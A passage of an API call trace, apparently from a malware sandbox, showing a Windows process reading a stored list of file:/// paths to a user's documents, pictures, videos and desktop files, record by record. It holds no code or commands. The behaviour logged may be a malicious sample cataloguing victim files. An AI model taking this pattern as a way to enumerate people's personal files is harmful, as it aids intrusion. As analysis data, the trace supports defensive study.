[0079.548] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.548] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/woZzxzBxQscnly17n0.xlsx" | out: _Str="file:///c:/users/atveydl98z/documents/wozzxzbxqscnly17n0.xlsx") returned="file:///c:/users/atveydl98z/documents/wozzxzbxqscnly17n0.xlsx"
[0079.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/wozzxzbxqscnly17n0.xlsx") returned 62
[0079.548] SetFilePointer (in: hFile=0xa0, lDistanceToMove=28928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7100
[0079.548] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.548] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.548] SetFilePointer (in: hFile=0xa0, lDistanceToMove=28928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7100
[0079.548] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.548] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/mSo-ZV%20Iw0FbW4-P3V.bmp" | out: _Str="file:///c:/users/atveydl98z/pictures/mso-zv%20iw0fbw4-p3v.bmp") returned="file:///c:/users/atveydl98z/pictures/mso-zv%20iw0fbw4-p3v.bmp"
[0079.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/mso-zv%20iw0fbw4-p3v.bmp") returned 62
[0079.548] SetFilePointer (in: hFile=0xa0, lDistanceToMove=29184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7200
[0079.548] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.548] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.548] SetFilePointer (in: hFile=0xa0, lDistanceToMove=29184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7200
[0079.549] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.549] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/81sNQ.bmp" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/81snq.bmp") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/81snq.bmp"
[0079.549] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/81snq.bmp") returned 78
[0079.549] SetFilePointer (in: hFile=0xa0, lDistanceToMove=29440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7300
[0079.549] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.549] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.549] SetFilePointer (in: hFile=0xa0, lDistanceToMove=29440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7300
[0079.549] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.549] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/bsCQw.odt" | out: _Str="file:///c:/users/atveydl98z/documents/bscqw.odt") returned="file:///c:/users/atveydl98z/documents/bscqw.odt"
[0079.549] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/bscqw.odt") returned 48
[0079.549] SetFilePointer (in: hFile=0xa0, lDistanceToMove=29696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7400
[0079.549] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.549] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.550] SetFilePointer (in: hFile=0xa0, lDistanceToMove=29696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7400
[0079.550] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.550] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/hvDDHYdD.gif" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hvddhydd.gif") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hvddhydd.gif"
[0079.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hvddhydd.gif") returned 81
[0079.550] SetFilePointer (in: hFile=0xa0, lDistanceToMove=29952, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7500
[0079.550] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.550] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.550] SetFilePointer (in: hFile=0xa0, lDistanceToMove=29952, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7500
[0079.550] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.550] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/SQ4ZS.odt" | out: _Str="file:///c:/users/atveydl98z/documents/sq4zs.odt") returned="file:///c:/users/atveydl98z/documents/sq4zs.odt"
[0079.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/sq4zs.odt") returned 48
[0079.550] SetFilePointer (in: hFile=0xa0, lDistanceToMove=30208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7600
[0079.550] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.550] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.550] SetFilePointer (in: hFile=0xa0, lDistanceToMove=30208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7600
[0079.550] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.550] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/aUcHwAavvK9r/THid1S161xFlbvS1qvBY.mkv" | out: _Str="file:///c:/users/atveydl98z/videos/auchwaavvk9r/thid1s161xflbvs1qvby.mkv") returned="file:///c:/users/atveydl98z/videos/auchwaavvk9r/thid1s161xflbvs1qvby.mkv"
[0079.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/auchwaavvk9r/thid1s161xflbvs1qvby.mkv") returned 73
[0079.551] SetFilePointer (in: hFile=0xa0, lDistanceToMove=30464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7700
[0079.551] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.551] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.551] SetFilePointer (in: hFile=0xa0, lDistanceToMove=30464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7700
[0079.551] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.551] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/JDIIeMSeuyiP28.xlsx" | out: _Str="file:///c:/users/atveydl98z/documents/jdiiemseuyip28.xlsx") returned="file:///c:/users/atveydl98z/documents/jdiiemseuyip28.xlsx"
[0079.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/jdiiemseuyip28.xlsx") returned 58
[0079.551] SetFilePointer (in: hFile=0xa0, lDistanceToMove=30720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7800
[0079.551] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.551] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.551] SetFilePointer (in: hFile=0xa0, lDistanceToMove=30720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7800
[0079.551] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.551] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/NS6OxgXy5z4YHI.gif" | out: _Str="file:///c:/users/atveydl98z/pictures/ns6oxgxy5z4yhi.gif") returned="file:///c:/users/atveydl98z/pictures/ns6oxgxy5z4yhi.gif"
[0079.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/ns6oxgxy5z4yhi.gif") returned 56
[0079.551] SetFilePointer (in: hFile=0xa0, lDistanceToMove=30976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7900
[0079.552] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.552] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.552] SetFilePointer (in: hFile=0xa0, lDistanceToMove=30976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7900
[0079.552] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.552] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/Ihug/5vGRNxxmT0.jpg" | out: _Str="file:///c:/users/atveydl98z/desktop/ihug/5vgrnxxmt0.jpg") returned="file:///c:/users/atveydl98z/desktop/ihug/5vgrnxxmt0.jpg"
[0079.552] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/ihug/5vgrnxxmt0.jpg") returned 56
[0079.552] SetFilePointer (in: hFile=0xa0, lDistanceToMove=31232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a00
[0079.552] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.552] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.552] SetFilePointer (in: hFile=0xa0, lDistanceToMove=31232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a00
[0079.552] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.552] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/db_m.pptx" | out: _Str="file:///c:/users/atveydl98z/documents/db_m.pptx") returned="file:///c:/users/atveydl98z/documents/db_m.pptx"
[0079.552] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/db_m.pptx") returned 48
[0079.552] SetFilePointer (in: hFile=0xa0, lDistanceToMove=31488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b00
[0079.552] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.553] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.553] SetFilePointer (in: hFile=0xa0, lDistanceToMove=31488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b00
[0079.553] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.553] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/6%20%20LD0epzN54nf6f62.pdf" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/6%20%20ld0epzn54nf6f62.pdf") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/6%20%20ld0epzn54nf6f62.pdf"
[0079.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/6%20%20ld0epzn54nf6f62.pdf") returned 75
[0079.553] SetFilePointer (in: hFile=0xa0, lDistanceToMove=31744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c00
[0079.553] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.553] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.553] SetFilePointer (in: hFile=0xa0, lDistanceToMove=31744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c00
[0079.553] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.553] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/Vfr7MWb/pO5DZd.png" | out: _Str="file:///c:/users/atveydl98z/desktop/vfr7mwb/po5dzd.png") returned="file:///c:/users/atveydl98z/desktop/vfr7mwb/po5dzd.png"
[0079.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/vfr7mwb/po5dzd.png") returned 55
[0079.553] SetFilePointer (in: hFile=0xa0, lDistanceToMove=32000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d00
[0079.553] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.553] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.554] SetFilePointer (in: hFile=0xa0, lDistanceToMove=32000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d00
[0079.554] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.554] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/N85Nf82ijUqriWIbUbVC/gfs_u1.bmp" | out: _Str="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/gfs_u1.bmp") returned="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/gfs_u1.bmp"
[0079.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/gfs_u1.bmp") returned 68
[0079.554] SetFilePointer (in: hFile=0xa0, lDistanceToMove=32256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e00
[0079.554] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.554] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.554] SetFilePointer (in: hFile=0xa0, lDistanceToMove=32256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e00
[0079.554] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.554] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/QfFJmW5qB0hkK.odp" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/qffjmw5qb0hkk.odp") returned="file:///c:/users/atveydl98z/appdata/roaming/qffjmw5qb0hkk.odp"
[0079.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/qffjmw5qb0hkk.odp") returned 62
[0079.555] SetFilePointer (in: hFile=0xa0, lDistanceToMove=32512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f00
[0079.555] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.555] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.555] SetFilePointer (in: hFile=0xa0, lDistanceToMove=32512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f00
[0079.555] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.555] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/EqeAgIu6SFYwA.gif" | out: _Str="file:///c:/users/atveydl98z/pictures/eqeagiu6sfywa.gif") returned="file:///c:/users/atveydl98z/pictures/eqeagiu6sfywa.gif"
[0079.555] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/eqeagiu6sfywa.gif") returned 55
[0079.555] SetFilePointer (in: hFile=0xa0, lDistanceToMove=32768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8000
[0079.555] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.555] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.555] SetFilePointer (in: hFile=0xa0, lDistanceToMove=32768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8000
[0079.555] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.555] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/numNzHOF36r.png" | out: _Str="file:///c:/users/atveydl98z/desktop/numnzhof36r.png") returned="file:///c:/users/atveydl98z/desktop/numnzhof36r.png"
[0079.555] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/numnzhof36r.png") returned 52
[0079.555] SetFilePointer (in: hFile=0xa0, lDistanceToMove=33024, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8100
[0079.556] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.556] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.556] SetFilePointer (in: hFile=0xa0, lDistanceToMove=33024, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8100
[0079.556] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.556] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/O0JasU4FW456EsF.gif" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/o0jasu4fw456esf.gif") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/o0jasu4fw456esf.gif"
[0079.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/o0jasu4fw456esf.gif") returned 72
[0079.556] SetFilePointer (in: hFile=0xa0, lDistanceToMove=33280, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8200
[0079.556] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.556] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
